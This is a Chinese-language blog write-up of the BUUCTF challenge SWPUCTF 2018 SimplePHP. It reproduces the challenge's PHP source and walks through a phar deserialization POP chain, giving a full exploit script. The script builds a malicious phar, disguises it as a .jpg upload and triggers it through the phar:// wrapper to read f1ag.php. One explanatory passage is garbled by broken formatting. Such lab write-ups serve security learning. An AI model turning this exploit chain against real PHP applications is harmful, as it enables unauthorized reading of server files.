BUUCTF(22)

122 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[SWPUCTF 2018]SimplePHP

一开始我以为是普通的文件上传

在查看文件的页面发现url

http://73fc19e0-7526-4a41-a882-0052e60436d1.node4.buuoj.cn:81/file.php?file=

因为源码里有提示

<!--flag is in f1ag.php-->

我们试试直接访问

但发现回显hacker!

看来是行不通的

那我们先看一下file.php源码

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn't exists.'); 
} 
?> 

其中的话,我们再看看

include 'function.php'; 
include 'class.php'; 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

当然,还有base.php

为了分析更方便,我直接直接放进一个文件夹里看

源码里发现了一些魔法函数,但是没有unserlize,考虑是phar文件上传

phar反序列化

大体框架

<?php
class TestObject {
}//自定义构造
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$o = new TestObject();//自定义构造
$o -> data='cck';//自定义构造
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

分析class.php

看C1e4r类,当对象被销毁时调用__destruct函数

Show这个类,存在__tostring 当对象被当成字符串时调用 ,而在C1e4r中的echo就可以利用,

$a = new C1e4r

−>str=newShow();最后我们看Test这个魔术方法,可以看到依次调用g​et−>get−>fileg​et,在fileg​et这里存在fileg​etc​ontents这个获取文件命令的函数,这就是我们要利用的地方,所以value就是我们要读取的文件的位置,来构造另一部分链子:

$b=new Test();

$b->params[value]=’/var/www/html/f1ag.php‘之前F12里有

所以我们的思路就是C14er->Show->Test,

实在不太会写exp网上找了个

<?php
class Test
{
    public $str;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }


}


class C1e4r
{
    public $test;
    public $str;


}


class Show
{
    public $source;
    public $str = array();


}
    $t = new Test();
    $c = new C1e4r();
    $s = new Show();
    $t->params['source'] = '/var/www/html/f1ag.php';
    $s->str['str'] = $t;
    $c->str = $s;


    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->setMetadata($c); 
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

后来运行EXP发现不行,发现需要将php.ini内的readonly 后面的ON成OFF

运行后生成.phar文件因为之前源码有限制,我们抓包改后缀

上传成功之后可以在upload目录下看到上传的文件

phar协议直接读取

file.php?file=phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg 

解码即为flag